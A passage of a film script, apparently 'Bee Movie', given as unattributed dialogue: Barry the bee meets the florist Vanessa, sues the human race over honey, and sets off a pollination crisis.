to The Hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! That girl was hot. She's my cousin! She is? Yes, we're all cousins. Right. You're right. At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. What do you think he makes? Not enough. Here we have our latest advancement, the Krelman. What does that do? Catches that little strand of honey that hangs after you pour it. Saves us millions. Can anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Check it out. Hey, those are Pollen Jocks! Wow. I've never seen them this close. They know what it's like outside The Hive. Yeah, but some don't come back. Hey, Jocks! Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! I wonder where they were. I don't know. Their day's not planned. Outside The Hive, flying who knows where, doing who knows what. You can't just decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. Couple of Hive Harrys. Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! Oh, my! I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. Six miles, huh? Barry! A puddle jump for us, but maybe you're not up for it. Maybe I am. You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? Well, there's a lot of choices. But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! Barry, you are so funny sometimes. I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! You're gonna be a stirrer? No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. We're starting work today! Today's the day. Come on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... Is it still available? Hang on. Two left! One of them's yours! Congratulations! Step to the side. What'd you get? Picking crud out. Stellar! Wow! Couple of newbies? Yes, sir! Our first day! We are ready! Make your choice. You want to go first? No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. Any chance of getting the Krelman? Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? I'm going out. Out? Out where? Out there. Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. Look at that. Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. Thank you. OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! That's awful. And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. Antennae, check. Nectar pack, check. Wings, check. Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader, We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! Ever see pollination up close? No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Cool. I'm picking up a lot of bright yellow, Could be daisies, Don't we need those? Copy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Chemical-y. Careful, guys. It's a little grabby. My sweet lord of bees! Candy-brain, get off there! Problem! Guys! This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Coming in at you like a missile! Help me! I don't think these are flowers. Should we tell him? I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! Do something! I'm driving! Hi, bee. He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Can't fly in rain. Can't fly in rain. Can't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Check out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him.It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. Vanessa, next week? Yogurt night? Sure, Ken. You know, whatever. You could put carob chips on there. Bye. Supposed to be less calories. Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Come on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. You're talking. Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. I'm talking with a bee. Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. Wait! How did you learn to do that? What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. That's very funny. Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Can I... get you something? Like what? I don't know. I mean... I don't know. Coffee? I don't want to put you out. It's no trouble. It takes two minutes. It's just coffee. I hate to impose. Don't be ridiculous! Actually, I would love a cup. Hey, you want rum cake? I shouldn't. Have some. No, I can't. Come on! I'm trying to lose a couple micrograms. Where? These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for The Hive, but I can't do it the way they want. I know how you feel. You do? Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. Really? My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. Why do girls put rings on their toes? Why not? It's like putting a hat on your knee. Maybe I'll try that. You all right, ma'am? Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Can I take a piece of this with me? Sure! Here, have a crumb. Thanks! Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. Sounds amazing. It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. Do they try and kill you, like on TV? Some of them. But some of them don't. How'd you get back? Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. Well... Well? Well, I met someone. You did? Was she Bee-ish? A wasp?! Your parents will kill you! No, no, no, not a wasp. Spider? I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. Her name's Vanessa. Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside The Hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? They call it a crumb. It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! You know what a Cinnabon is? No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! Thinking bee. Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! We're still here. I told you not to yell at him. He doesn't respond to yelling! Then why yell at me? Because you don't listen! I'm not listening to this. Sorry, I've gotta go. Where are you going? I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. What is wrong with you?! It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. I lost a cousin to Italian Vogue. I'll bet. What in the name of Mighty Hercules is this? How did this get here? cute Bee, Golden Blossom, Ray Liotta Private Select? Is he that actor? I never heard of him. Why is this here? For people. We eat it. You don't have enough food of your own? Well, yes. How do you get it? Bees make it. I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! It's organic. It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools,hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. You almost done? Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Crazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. And you? He really is dead. All right. Uh-oh! What is that?! Oh, no! A wiper! Triple blade! Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Carl Kasell. But don't kill no more bugs! Bee! Moose blood guy!! You hear something? Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. Bees hang tight. We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. What if you get in trouble? You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! Hey, guys! Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. Check out the new smoker. Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. What? Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. You wish you could. Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! That would hurt. No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, The Hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Chung. Good evening. I'm Bob Bumble. And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, classy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from The Hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. Is that that same bee? Yes, it is! I'm helping him sue the human race. Hello. Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. Frosting... How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. Oh, those just get me psychotic! Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. This lawsuit's a pretty big deal. I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. What's the matter? I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Case number 4475, Superior Court of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Cloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Call your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? No. I couldn't hear you. No. No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. Where have I heard it before? I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! Order in this court! You're all thinking it! Order! Order, I say! Say it! Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. Ken! Hello. I didn't think you were coming. No, I was just late I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the right job. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little Mind Games. What's that? Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Chapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! You're bluffing. Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. You got the tweezers? Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. Good friends? Yes. How good? Do you live together? Wait a minute... Are you her little... bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? Yeah, but... So those aren't your real parents! Oh, Barry... Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? Objection! I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! Adam, stay with me. I can't feel my legs. What Angel of Mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed Turn Against the bees yesterday when one of their legal team stung Layton T. Montgomery. Hey, buddy. Hey. Is there much pain? Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then...and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Could you get a nurse to close that window? Why? The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? What are we gonna do? He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. What if Montgomery's right? What do you mean? We've been living the bee way a long time, 27 million years. Congratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Can't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups and there's gallons more coming! I think we need to shut down! Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Cannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? Are they out celebrating? They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Carl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? What did you want to show me? This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's not just flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? I'll sting you, you step on me. That just kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the Last Chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? Roses are flowers! Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Could you ask him to slow down? Could you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. Bees. Park. Pollen! Flowers. Repollination! Across the nation! Tournament of Roses, Pasadena, California. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. Where should I sit? What are you? I believe I'm the pea. The pea? It goes under the mattresses. Not in this fairy tale, sweetheart. I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. You and your insect pack your float? Yes. Has it been in your possession the entire time? Would you remove your shoes? Remove your stinger. It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Can you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Captain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Can I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Captain, I'm in a real situation. What'd you say, Hal? Nothing. Bee! Don't freak out! My entire species... What are you doing? Wait a minute! I'm an attorney! Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft 